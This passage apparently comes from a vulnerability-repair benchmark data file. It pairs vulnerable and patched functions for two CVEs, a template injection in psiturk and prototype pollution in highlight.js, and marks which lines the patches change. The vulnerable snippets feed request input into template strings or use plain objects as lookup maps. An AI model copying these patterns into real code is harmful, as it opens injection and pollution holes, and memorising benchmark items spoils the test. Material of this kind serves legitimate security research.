finished the experiment but haven't successfully submitted the HIT\n # yet.\n return render_template(\n 'thanks-mturksubmit.html',\n using_sandbox=(mode == \"sandbox\"),\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )\n elif already_in_db and not (debug_mode or allow_repeats):\n raise ExperimentError('already_did_exp_hit')\n elif status == ALLOCATED or not status or debug_mode:\n # Participant has not yet agreed to the consent. They might not\n # even have accepted the HIT.\n with open('templates/ad.html', 'r') as temp_file:\n ad_string = temp_file.read()\n ad_string = insert_mode(ad_string, mode)\n return render_template_string(\n ad_string,\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )\n else:\n raise ExperimentError('status_incorrectly_set')", "vul_localization": [ { "patch_lines": [ 97 ], "tag": "modify" }, { "patch_lines": [ 99 ], "tag": "add" } ] }, { "id": "vul_py_34_2", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 396, "end_line": 415, "snippet": "def give_consent():\n \"\"\"\n Serves up the consent in the popup window.\n \"\"\"\n if not ('hitId' in request.args and 'assignmentId' in request.args and\n 'workerId' in request.args):\n raise ExperimentError('hit_assign_worker_id_not_set_in_consent')\n hit_id = request.args['hitId']\n assignment_id = request.args['assignmentId']\n worker_id = request.args['workerId']\n mode = request.args['mode']\n with open('templates/consent.html', 'r') as temp_file:\n consent_string = temp_file.read()\n consent_string = insert_mode(consent_string, mode)\n return render_template_string(\n consent_string,\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )", "vul_localization": [ { "patch_lines": [ 14 ], "tag": "modify" }, { "patch_lines": [ 16 ], "tag": "add" } ] }, { "id": "vul_py_34_3", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 734, "end_line": 747, "snippet": "def insert_mode(page_html, mode):\n \"\"\" Insert mode \"\"\"\n page_html = page_html\n match_found = False\n matches = re.finditer('workerId={{ workerid }}', page_html)\n match = None\n for match in matches:\n match_found = True\n if match_found:\n new_html = page_html[:match.end()] + \"&mode=\" + mode +\\\n page_html[match.end():]\n return new_html\n else:\n raise ExperimentError(\"insert_mode_failed\")", "vul_localization": [ { "patch_lines": [ 1 ], "tag": "modify" }, { "patch_lines": [ 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_34_1", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 287, "end_line": 392, "snippet": "def advertisement():\n \"\"\"\n This is the url we give for the ad for our 'external question'. The ad has\n to display two different things: This page will be called from within\n mechanical turk, with url arguments hitId, assignmentId, and workerId.\n If the worker has not yet accepted the hit:\n These arguments will have null values, we should just show an ad for\n the experiment.\n If the worker has accepted the hit:\n These arguments will have appropriate values and we should enter the\n person in the database and provide a link to the experiment popup.\n \"\"\"\n user_agent_string = request.user_agent.string\n user_agent_obj = user_agents.parse(user_agent_string)\n browser_ok = True\n browser_exclude_rule = CONFIG.get('Task Parameters', 'browser_exclude_rule')\n for rule in browser_exclude_rule.split(','):\n myrule = rule.strip()\n if myrule in [\"mobile\", \"tablet\", \"touchcapable\", \"pc\", \"bot\"]:\n if (myrule == \"mobile\" and user_agent_obj.is_mobile) or\\\n (myrule == \"tablet\" and user_agent_obj.is_tablet) or\\\n (myrule == \"touchcapable\" and user_agent_obj.is_touch_capable) or\\\n (myrule == \"pc\" and user_agent_obj.is_pc) or\\\n (myrule == \"bot\" and user_agent_obj.is_bot):\n browser_ok = False\n elif myrule == \"Safari\" or myrule == \"safari\":\n if \"Chrome\" in user_agent_string and \"Safari\" in user_agent_string:\n pass\n elif \"Safari\" in user_agent_string:\n browser_ok = False\n elif myrule in user_agent_string:\n browser_ok = False\n\n if not browser_ok:\n # Handler for IE users if IE is not supported.\n raise ExperimentError('browser_type_not_allowed')\n\n if not ('hitId' in request.args and 'assignmentId' in request.args):\n raise ExperimentError('hit_assign_worker_id_not_set_in_mturk')\n hit_id = request.args['hitId']\n assignment_id = request.args['assignmentId']\n mode = request.args['mode']\n if hit_id[:5] == \"debug\":\n debug_mode = True\n else:\n debug_mode = False\n already_in_db = False\n if 'workerId' in request.args:\n worker_id = request.args['workerId']\n # First check if this workerId has completed the task before (v1).\n nrecords = Participant.query.\\\n filter(Participant.assignmentid != assignment_id).\\\n filter(Participant.workerid == worker_id).\\\n count()\n\n if nrecords > 0: # Already completed task\n already_in_db = True\n else: # If worker has not accepted the hit\n worker_id = None\n try:\n part = Participant.query.\\\n filter(Participant.hitid == hit_id).\\\n filter(Participant.assignmentid == assignment_id).\\\n filter(Participant.workerid == worker_id).\\\n one()\n status = part.status\n except exc.SQLAlchemyError:\n status = None\n\n allow_repeats = CONFIG.getboolean('Task Parameters', 'allow_repeats')\n if (status == STARTED or status == QUITEARLY) and not debug_mode:\n # Once participants have finished the instructions, we do not allow\n # them to start the task again.\n raise ExperimentError('already_started_exp_mturk')\n elif status == COMPLETED or (status == SUBMITTED and not already_in_db):\n # 'or status == SUBMITTED' because we suspect that sometimes the post\n # to mturk fails after we've set status to SUBMITTED, so really they\n # have not successfully submitted. This gives another chance for the\n # submit to work.\n\n # They've finished the experiment but haven't successfully submitted the HIT\n # yet.\n return render_template(\n 'thanks-mturksubmit.html',\n using_sandbox=(mode == \"sandbox\"),\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )\n elif already_in_db and not (debug_mode or allow_repeats):\n raise ExperimentError('already_did_exp_hit')\n elif status == ALLOCATED or not status or debug_mode:\n # Participant has not yet agreed to the consent. They might not\n # even have accepted the HIT.\n with open('templates/ad.html', 'r') as temp_file:\n ad_string = temp_file.read()\n ad_string = insert_mode(ad_string)\n return render_template_string(\n ad_string,\n mode=mode,\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )\n else:\n raise ExperimentError('status_incorrectly_set')" }, { "id": "fix_py_34_2", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 397, "end_line": 417, "snippet": "def give_consent():\n \"\"\"\n Serves up the consent in the popup window.\n \"\"\"\n if not ('hitId' in request.args and 'assignmentId' in request.args and\n 'workerId' in request.args):\n raise ExperimentError('hit_assign_worker_id_not_set_in_consent')\n hit_id = request.args['hitId']\n assignment_id = request.args['assignmentId']\n worker_id = request.args['workerId']\n mode = request.args['mode']\n with open('templates/consent.html', 'r') as temp_file:\n consent_string = temp_file.read()\n consent_string = insert_mode(consent_string)\n return render_template_string(\n consent_string,\n mode=mode,\n hitid=hit_id,\n assignmentid=assignment_id,\n workerid=worker_id\n )" }, { "id": "fix_py_34_3", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 736, "end_line": 749, "snippet": "def insert_mode(page_html):\n \"\"\" Insert mode \"\"\"\n page_html = page_html\n match_found = False\n matches = re.finditer('workerId={{ workerid }}', page_html)\n match = None\n for match in matches:\n match_found = True\n if match_found:\n new_html = page_html[:match.end()] + '&mode={{ mode }}' +\\\n page_html[match.end():]\n return new_html\n else:\n raise ExperimentError(\"insert_mode_failed\")" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-4315" }, { "cve_id": "CVE-2020-26237", "cve_description": "Highlight.js is a syntax highlighter written in JavaScript. Highlight.js versions before 9.18.2 and 10.1.2 are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable. The pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector. If your website or application does not render user provided data it should be unaffected. Versions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability. If you are using version 7 or 8 you are encouraged to upgrade to a newer release.", "cwe_info": { "CWE-471": { "name": "Modification of Assumed-Immutable Data (MAID)", "description": "The product does not properly protect an assumed-immutable element from being modified by an attacker." } }, "repo": "https://github.com/highlightjs/highlight.js", "patch_url": [ "https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_76_1", "commit": "93fd0d73", "file_path": "src/highlight.js", "start_line": 25, "end_line": 869, "snippet": "const HLJS = function(hljs) {\n // Convenience variables for build-in objects\n /** @type {unknown[]} */\n var ArrayProto = [];\n\n // Global internal variables used within the highlight.js library.\n /** @type {Record} */\n var languages = {};\n /** @type {Record} */\n var aliases = {};\n /** @type {HLJSPlugin[]} */\n var plugins = [];\n\n // safe/production mode - swallows more errors, tries to keep running\n // even if a single syntax or parse hits a fatal error\n var SAFE_MODE = true;\n var fixMarkupRe = /(^(<[^>]+>|\\t|)+|\\n)/gm;\n var LANGUAGE_NOT_FOUND = \"Could not find the language '{}', did you forget to load/include a language module?\";\n /** @type {Language} */\n const PLAINTEXT_LANGUAGE = { disableAutodetect: true, name: 'Plain text', contains: [] };\n\n // Global options used when within external APIs. This is modified when\n // calling the `hljs.configure` function.\n /** @type HLJSOptions */\n var options = {\n noHighlightRe: /^(no-?highlight)$/i,\n languageDetectRe: /\\blang(?:uage)?-([\\w-]+)\\b/i,\n classPrefix: 'hljs-',\n tabReplace: null,\n useBR: false,\n languages: null,\n // beta configuration options, subject to change, welcome to discuss\n // https://github.com/highlightjs/highlight.js/issues/1086\n __emitter: TokenTreeEmitter\n };\n\n /* Utility functions */\n\n /**\n * Tests a language name to see if highlighting should be skipped\n * @param {string} languageName\n */\n function shouldNotHighlight(languageName) {\n return options.noHighlightRe.test(languageName);\n }\n\n /**\n * @param {HighlightedHTMLElement} block - the HTML element to determine language for\n */\n function blockLanguage(block) {\n var classes = block.className + ' ';\n\n classes += block.parentNode ? block.parentNode.className : '';\n\n // language-* takes precedence over non-prefixed class names.\n const match = options.languageDetectRe.exec(classes);\n if (match) {\n var language = getLanguage(match[1]);\n if (!language) {\n console.warn(LANGUAGE_NOT_FOUND.replace(\"{}\", match[1]));\n console.warn(\"Falling back to no-highlight mode for this block.\", block);\n }\n return language ? match[1] : 'no-highlight';\n }\n\n return classes\n .split(/\\s+/)\n .find((_class) => shouldNotHighlight(_class) || getLanguage(_class));\n }\n\n /**\n * Core highlighting function.\n *\n * @param {string} languageName - the language to use for highlighting\n * @param {string} code - the code to highlight\n * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n * @param {Mode} [continuation] - current continuation mode, if any\n *\n * @returns {HighlightResult} Result - an object that represents the result\n * @property {string} language - the language name\n * @property {number} relevance - the relevance score\n * @property {string} value - the highlighted HTML code\n * @property {string} code - the original raw code\n * @property {Mode} top - top of the current mode stack\n * @property {boolean} illegal - indicates whether any illegal matches were found\n */\n function highlight(languageName, code, ignoreIllegals, continuation) {\n /** @type {{ code: string, language: string, result?: any }} */\n var context = {\n code,\n language: languageName\n };\n // the plugin can change the desired language or the code to be highlighted\n // just be changing the object it was passed\n fire(\"before:highlight\", context);\n\n // a before plugin can usurp the result completely by providing it's own\n // in which case we don't even need to call highlight\n var result = context.result ?\n context.result :\n _highlight(context.language, context.code, ignoreIllegals, continuation);\n\n result.code = context.code;\n // the plugin can change anything in result to suite it\n fire(\"after:highlight\", result);\n\n return result;\n }\n\n /**\n * private highlight that's used internally and does not fire callbacks\n *\n * @param {string} languageName - the language to use for highlighting\n * @param {string} code - the code to highlight\n * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n * @param {Mode} [continuation] - current continuation mode, if any\n */\n function _highlight(languageName, code, ignoreIllegals, continuation) {\n var codeToHighlight = code;\n\n /**\n * Return keyword data if a match is a keyword\n * @param {CompiledMode} mode - current mode\n * @param {RegExpMatchArray} match - regexp match data\n * @returns {KeywordData | false}\n */\n function keywordData(mode, match) {\n var matchText = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return Object.prototype.hasOwnProperty.call(mode.keywords, matchText) && mode.keywords[matchText];\n }\n\n function processKeywords() {\n if (!top.keywords) {\n emitter.addText(mode_buffer);\n return;\n }\n\n let last_index = 0;\n top.keywordPatternRe.lastIndex = 0;\n let match = top.keywordPatternRe.exec(mode_buffer);\n let buf = \"\";\n\n while (match) {\n buf += mode_buffer.substring(last_index, match.index);\n const data = keywordData(top, match);\n if (data) {\n const [kind, keywordRelevance] = data;\n emitter.addText(buf);\n buf = \"\";\n\n relevance += keywordRelevance;\n emitter.addKeyword(match[0], kind);\n } else {\n buf += match[0];\n }\n last_index = top.keywordPatternRe.lastIndex;\n match = top.keywordPatternRe.exec(mode_buffer);\n }\n buf += mode_buffer.substr(last_index);\n emitter.addText(buf);\n }\n\n function processSubLanguage() {\n if (mode_buffer === \"\") return;\n /** @type HighlightResult */\n var result = null;\n\n if (typeof top.subLanguage === 'string') {\n if (!languages[top.subLanguage]) {\n emitter.addText(mode_buffer);\n return;\n }\n result = _highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]);\n continuations[top.subLanguage] = result.top;\n } else {\n result = highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : null);\n }\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Use case in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n emitter.addSublanguage(result.emitter, result.language);\n }\n\n function processBuffer() {\n if (top.subLanguage != null) {\n processSubLanguage();\n } else {\n processKeywords();\n }\n mode_buffer = '';\n }\n\n /**\n * @param {Mode} mode - new mode to start\n */\n function startNewMode(mode) {\n if (mode.className) {\n emitter.openNode(mode.className);\n }\n top = Object.create(mode, { parent: { value: top } });\n return top;\n }\n\n /**\n * @param {CompiledMode } mode - the mode to potentially end\n * @param {RegExpMatchArray} match - the latest match\n * @param {string} matchPlusRemainder - match plus remainder of content\n * @returns {CompiledMode | void} - the next mode, or if void continue on in current mode\n */\n function endOfMode(mode, match, matchPlusRemainder) {\n let matched = regex.startsWith(mode.endRe, matchPlusRemainder);\n\n if (matched) {\n if (mode[\"on:end\"]) {\n const resp = new Response(mode);\n mode[\"on:end\"](match, resp);\n if (resp.ignore) matched = false;\n }\n\n if (matched) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n }\n // even if on:end fires an `ignore` it's still possible\n // that we might trigger the end node because of a parent mode\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, match, matchPlusRemainder);\n }\n }\n\n /**\n * Handle matching but then ignoring a sequence of text\n *\n * @param {string} lexeme - string containing full match text\n */\n function doIgnore(lexeme) {\n if (top.matcher.regexIndex === 0) {\n // no more regexs to potentially match here, so we move the cursor forward one\n // space\n mode_buffer += lexeme[0];\n return 1;\n } else {\n // no need to move the cursor, we still have additional regexes to try and\n // match at this very spot\n continueScanAtSamePosition = true;\n return 0;\n }\n }\n\n /**\n * Handle the start of a new potential mode match\n *\n * @param {EnhancedMatch} match - the current match\n * @returns {number} how far to advance the parse cursor\n */\n function doBeginMatch(match) {\n var lexeme = match[0];\n var new_mode = match.rule;\n\n const resp = new Response(new_mode);\n // first internal before callbacks, then the public ones\n const beforeCallbacks = [new_mode.__beforeBegin, new_mode[\"on:begin\"]];\n for (const cb of beforeCallbacks) {\n if (!cb) continue;\n cb(match, resp);\n if (resp.ignore) return doIgnore(lexeme);\n }\n\n if (new_mode && new_mode.endSameAsBegin) {\n new_mode.endRe = regex.escape(lexeme);\n }\n\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode);\n // if (mode[\"after:begin\"]) {\n // let resp = new Response(mode);\n // mode[\"after:begin\"](match, resp);\n // }\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n /**\n * Handle the potential end of mode\n *\n * @param {RegExpMatchArray} match - the current match\n */\n function doEndMatch(match) {\n var lexeme = match[0];\n var matchPlusRemainder = codeToHighlight.substr(match.index);\n\n var end_mode = endOfMode(top, match, matchPlusRemainder);\n if (!end_mode) { return NO_MATCH; }\n\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n emitter.closeNode();\n }\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n startNewMode(end_mode.starts);\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n function processContinuations() {\n var list = [];\n for (var current = top; current !== language; current = current.parent) {\n if (current.className) {\n list.unshift(current.className);\n }\n }\n list.forEach(item => emitter.openNode(item));\n }\n\n /** @type {{type?: MatchType, index?: number, rule?: Mode}}} */\n var lastMatch = {};\n\n /**\n * Process an individual match\n *\n * @param {string} textBeforeMatch - text preceeding the match (since the last match)\n * @param {EnhancedMatch} [match] - the match itself\n */\n function processLexeme(textBeforeMatch, match) {\n var lexeme = match && match[0];\n\n // add non-matched text to the current mode buffer\n mode_buffer += textBeforeMatch;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n // we've found a 0 width match and we're stuck, so we need to advance\n // this happens when we have badly behaved rules that have optional matchers to the degree that\n // sometimes they can end up matching nothing at all\n // Ref: https://github.com/highlightjs/highlight.js/issues/2140\n if (lastMatch.type === \"begin\" && match.type === \"end\" && lastMatch.index === match.index && lexeme === \"\") {\n // spit the \"skipped\" character that our regex choked on back into the output sequence\n mode_buffer += codeToHighlight.slice(match.index, match.index + 1);\n if (!SAFE_MODE) {\n /** @type {AnnotatedError} */\n const err = new Error('0 width match regex');\n err.languageName = languageName;\n err.badRule = lastMatch.rule;\n throw err;\n }\n return 1;\n }\n lastMatch = match;\n\n if (match.type === \"begin\") {\n return doBeginMatch(match);\n } else if (match.type === \"illegal\" && !ignoreIllegals) {\n // illegal match, we do not continue processing\n /** @type {AnnotatedError} */\n const err = new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '') + '\"');\n err.mode = top;\n throw err;\n } else if (match.type === \"end\") {\n var processed = doEndMatch(match);\n if (processed !== NO_MATCH) {\n return processed;\n }\n }\n\n // edge case for when illegal matches $ (end of line) which is technically\n // a 0 width match but not a begin/end match so it's not caught by the\n // first handler (when ignoreIllegals is true)\n if (match.type === \"illegal\" && lexeme === \"\") {\n // advance so we aren't stuck in an infinite loop\n return 1;\n }\n\n // infinite loops are BAD, this is a last ditch catch all. if we have a\n // decent number of iterations yet our index (cursor position in our\n // parsing) still 3x behind our index then something is very wrong\n // so we bail\n if (iterations > 100000 && iterations > match.index * 3) {\n const err = new Error('potential infinite loop, way more iterations than matches');\n throw err;\n }\n\n /*\n Why might be find ourselves here? Only one occasion now. An end match that was\n triggered but could not be completed. When might this happen? When an `endSameasBegin`\n rule sets the end rule to a specific match. Since the overall mode termination rule that's\n being used to scan the text isn't recompiled that means that any match that LOOKS like\n the end (but is not, because it is not an exact match to the beginning) will\n end up here. A definite end match, but when `doEndMatch` tries to \"reapply\"\n the end rule and fails to match, we wind up here, and just silently ignore the end.\n\n This causes no real harm other than stopping a few times too many.\n */\n\n mode_buffer += lexeme;\n return lexeme.length;\n }\n\n var language = getLanguage(languageName);\n if (!language) {\n console.error(LANGUAGE_NOT_FOUND.replace(\"{}\", languageName));\n throw new Error('Unknown language: \"' + languageName + '\"');\n }\n\n var md = compileLanguage(language);\n var result = '';\n /** @type {CompiledMode} */\n var top = continuation || md;\n /** @type Record */\n var continuations = {}; // keep continuations for sub-languages\n var emitter = new options.__emitter(options);\n processContinuations();\n var mode_buffer = '';\n var relevance = 0;\n var index = 0;\n var iterations = 0;\n var continueScanAtSamePosition = false;\n\n try {\n top.matcher.considerAll();\n\n for (;;) {\n iterations++;\n if (continueScanAtSamePosition) {\n // only regexes not matched previously will now be\n // considered for a potential match\n continueScanAtSamePosition = false;\n } else {\n top.matcher.lastIndex = index;\n top.matcher.considerAll();\n }\n const match = top.matcher.exec(codeToHighlight);\n // console.log(\"match\", match[0], match.rule && match.rule.begin)\n if (!match) break;\n\n const beforeMatch = codeToHighlight.substring(index, match.index);\n const processedCount = processLexeme(beforeMatch, match);\n index = match.index + processedCount;\n }\n processLexeme(codeToHighlight.substr(index));\n emitter.closeAllNodes();\n emitter.finalize();\n result = emitter.toHTML();\n\n return {\n relevance: relevance,\n value: result,\n language: languageName,\n illegal: false,\n emitter: emitter,\n top: top\n };\n } catch (err) {\n if (err.message && err.message.includes('Illegal')) {\n return {\n illegal: true,\n illegalBy: {\n msg: err.message,\n context: codeToHighlight.slice(index - 100, index + 100),\n mode: err.mode\n },\n sofar: result,\n relevance: 0,\n value: escape(codeToHighlight),\n emitter: emitter\n };\n } else if (SAFE_MODE) {\n return {\n illegal: false,\n relevance: 0,\n value: escape(codeToHighlight),\n emitter: emitter,\n language: languageName,\n top: top,\n errorRaised: err\n };\n } else {\n throw err;\n }\n }\n }\n\n /**\n * returns a valid highlight result, without actually doing any actual work,\n * auto highlight starts with this and it's possible for small snippets that\n * auto-detection may not find a better match\n * @param {string} code\n * @returns {HighlightResult}\n */\n function justTextHighlightResult(code) {\n const result = {\n relevance: 0,\n emitter: new options.__emitter(options),\n value: escape(code),\n illegal: false,\n top: PLAINTEXT_LANGUAGE\n };\n result.emitter.addText(code);\n return result;\n }\n\n /**\n Highlighting with language detection. Accepts a string with the code to\n highlight. Returns an object with the following properties:\n\n - language (detected language)\n - relevance (int)\n - value (an HTML string with highlighting markup)\n - second_best (object with the same structure for second-best heuristically\n detected language, may be absent)\n\n @param {string} code\n @param {Array} [languageSubset]\n @returns {AutoHighlightResult}\n */\n function highlightAuto(code, languageSubset) {\n languageSubset = languageSubset || options.languages || Object.keys(languages);\n var result = justTextHighlightResult(code);\n var secondBest = result;\n languageSubset.filter(getLanguage).filter(autoDetection).forEach(function(name) {\n var current = _highlight(name, code, false);\n current.language = name;\n if (current.relevance > secondBest.relevance) {\n secondBest = current;\n }\n if (current.relevance > result.relevance) {\n secondBest = result;\n result = current;\n }\n });\n if (secondBest.language) {\n // second_best (with underscore) is the expected API\n result.second_best = secondBest;\n }\n return result;\n }\n\n /**\n Post-processing of the highlighted markup:\n\n - replace TABs with something more useful\n - replace real line-breaks with '
' for non-pre containers\n\n @param {string} html\n @returns {string}\n */\n function fixMarkup(html) {\n if (!(options.tabReplace || options.useBR)) {\n return html;\n }\n\n return html.replace(fixMarkupRe, match => {\n if (match === '\\n') {\n return options.useBR ? '
' : match;\n } else if (options.tabReplace) {\n return match.replace(/\\t/g, options.tabReplace);\n }\n return match;\n });\n }\n\n /**\n * Builds new class name for block given the language name\n *\n * @param {string} prevClassName\n * @param {string} [currentLang]\n * @param {string} [resultLang]\n */\n function buildClassName(prevClassName, currentLang, resultLang) {\n var language = currentLang ? aliases[currentLang] : resultLang;\n var result = [prevClassName.trim()];\n\n if (!prevClassName.match(/\\bhljs\\b/)) {\n result.push('hljs');\n }\n\n if (!prevClassName.includes(language)) {\n result.push(language);\n }\n\n return result.join(' ').trim();\n }\n\n /**\n * Applies highlighting to a DOM node containing code. Accepts a DOM node and\n * two optional parameters for fixMarkup.\n *\n * @param {HighlightedHTMLElement} element - the HTML element to highlight\n */\n function highlightBlock(element) {\n /** @type HTMLElement */\n let node = null;\n const language = blockLanguage(element);\n\n if (shouldNotHighlight(language)) return;\n\n fire(\"before:highlightBlock\",\n { block: element, language: language });\n\n if (options.useBR) {\n node = document.createElement('div');\n node.innerHTML = element.innerHTML.replace(/\\n/g, '').replace(//g, '\\n');\n } else {\n node = element;\n }\n const text = node.textContent;\n const result = language ? highlight(language, text, true) : highlightAuto(text);\n\n const originalStream = nodeStream(node);\n if (originalStream.length) {\n const resultNode = document.createElement('div');\n resultNode.innerHTML = result.value;\n result.value = mergeStreams(originalStream, nodeStream(resultNode), text);\n }\n result.value = fixMarkup(result.value);\n\n fire(\"after:highlightBlock\", { block: element, result: result });\n\n element.innerHTML = result.value;\n element.className = buildClassName(element.className, language, result.language);\n element.result = {\n language: result.language,\n // TODO: remove with version 11.0\n re: result.relevance,\n relavance: result.relevance\n };\n if (result.second_best) {\n element.second_best = {\n language: result.second_best.language,\n // TODO: remove with version 11.0\n re: result.second_best.relevance,\n relavance: result.second_best.relevance\n };\n }\n }\n\n /**\n * Updates highlight.js global options with the passed options\n *\n * @param {{}} userOptions\n */\n function configure(userOptions) {\n options = inherit(options, userOptions);\n }\n\n /**\n * Highlights to all
 blocks on a page\n   *\n   * @type {Function & {called?: boolean}}\n   */\n  const initHighlighting = () => {\n    if (initHighlighting.called) return;\n    initHighlighting.called = true;\n\n    var blocks = document.querySelectorAll('pre code');\n    ArrayProto.forEach.call(blocks, highlightBlock);\n  };\n\n  // Higlights all when DOMContentLoaded fires\n  function initHighlightingOnLoad() {\n    // @ts-ignore\n    window.addEventListener('DOMContentLoaded', initHighlighting, false);\n  }\n\n  /**\n   * Register a language grammar module\n   *\n   * @param {string} languageName\n   * @param {LanguageFn} languageDefinition\n   */\n  function registerLanguage(languageName, languageDefinition) {\n    var lang = null;\n    try {\n      lang = languageDefinition(hljs);\n    } catch (error) {\n      console.error(\"Language definition for '{}' could not be registered.\".replace(\"{}\", languageName));\n      // hard or soft error\n      if (!SAFE_MODE) { throw error; } else { console.error(error); }\n      // languages that have serious errors are replaced with essentially a\n      // \"plaintext\" stand-in so that the code blocks will still get normal\n      // css classes applied to them - and one bad language won't break the\n      // entire highlighter\n      lang = PLAINTEXT_LANGUAGE;\n    }\n    // give it a temporary name if it doesn't have one in the meta-data\n    if (!lang.name) lang.name = languageName;\n    languages[languageName] = lang;\n    lang.rawDefinition = languageDefinition.bind(null, hljs);\n\n    if (lang.aliases) {\n      registerAliases(lang.aliases, { languageName });\n    }\n  }\n\n  /**\n   * @returns {string[]} List of language internal names\n   */\n  function listLanguages() {\n    return Object.keys(languages);\n  }\n\n  /**\n    intended usage: When one language truly requires another\n\n    Unlike `getLanguage`, this will throw when the requested language\n    is not available.\n\n    @param {string} name - name of the language to fetch/require\n    @returns {Language | never}\n  */\n  function requireLanguage(name) {\n    var lang = getLanguage(name);\n    if (lang) { return lang; }\n\n    var err = new Error('The \\'{}\\' language is required, but not loaded.'.replace('{}', name));\n    throw err;\n  }\n\n  /**\n   * @param {string} name - name of the language to retrieve\n   * @returns {Language | undefined}\n   */\n  function getLanguage(name) {\n    name = (name || '').toLowerCase();\n    return languages[name] || languages[aliases[name]];\n  }\n\n  /**\n   *\n   * @param {string|string[]} aliasList - single alias or list of aliases\n   * @param {{languageName: string}} opts\n   */\n  function registerAliases(aliasList, { languageName }) {\n    if (typeof aliasList === 'string') {\n      aliasList = [aliasList];\n    }\n    aliasList.forEach(alias => { aliases[alias] = languageName; });\n  }\n\n  /**\n   * Determines if a given language has auto-detection enabled\n   * @param {string} name - name of the language\n   */\n  function autoDetection(name) {\n    var lang = getLanguage(name);\n    return lang && !lang.disableAutodetect;\n  }\n\n  /**\n   * @param {HLJSPlugin} plugin\n   */\n  function addPlugin(plugin) {\n    plugins.push(plugin);\n  }\n\n  /**\n   *\n   * @param {PluginEvent} event\n   * @param {any} args\n   */\n  function fire(event, args) {\n    var cb = event;\n    plugins.forEach(function(plugin) {\n      if (plugin[cb]) {\n        plugin[cb](args);\n      }\n    });\n  }\n\n  /* Interface definition */\n\n  Object.assign(hljs, {\n    highlight,\n    highlightAuto,\n    fixMarkup,\n    highlightBlock,\n    configure,\n    initHighlighting,\n    initHighlightingOnLoad,\n    registerLanguage,\n    listLanguages,\n    getLanguage,\n    registerAliases,\n    requireLanguage,\n    autoDetection,\n    inherit,\n    addPlugin\n  });\n\n  hljs.debugMode = function() { SAFE_MODE = false; };\n  hljs.safeMode = function() { SAFE_MODE = true; };\n  hljs.versionString = packageJSON.version;\n\n  for (const key in MODES) {\n    // @ts-ignore\n    if (typeof MODES[key] === \"object\") {\n      // @ts-ignore\n      deepFreeze(MODES[key]);\n    }\n  }\n\n  // merge all the modes/regexs into our main object\n  Object.assign(hljs, MODES);\n\n  return hljs;\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            8,
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_76_1",
                "commit": "7241013ae011a585983e176ddc0489a7a52f6bb0",
                "file_path": "src/highlight.js",
                "start_line": 25,
                "end_line": 869,
                "snippet": "const HLJS = function(hljs) {\n  // Convenience variables for build-in objects\n  /** @type {unknown[]} */\n  var ArrayProto = [];\n\n  // Global internal variables used within the highlight.js library.\n  /** @type {Record} */\n  var languages = Object.create(null);\n  /** @type {Record} */\n  var aliases = Object.create(null);\n  /** @type {HLJSPlugin[]} */\n  var plugins = [];\n\n  // safe/production mode - swallows more errors, tries to keep running\n  // even if a single syntax or parse hits a fatal error\n  var SAFE_MODE = true;\n  var fixMarkupRe = /(^(<[^>]+>|\\t|)+|\\n)/gm;\n  var LANGUAGE_NOT_FOUND = \"Could not find the language '{}', did you forget to load/include a language module?\";\n  /** @type {Language} */\n  const PLAINTEXT_LANGUAGE = { disableAutodetect: true, name: 'Plain text', contains: [] };\n\n  // Global options used when within external APIs. This is modified when\n  // calling the `hljs.configure` function.\n  /** @type HLJSOptions */\n  var options = {\n    noHighlightRe: /^(no-?highlight)$/i,\n    languageDetectRe: /\\blang(?:uage)?-([\\w-]+)\\b/i,\n    classPrefix: 'hljs-',\n    tabReplace: null,\n    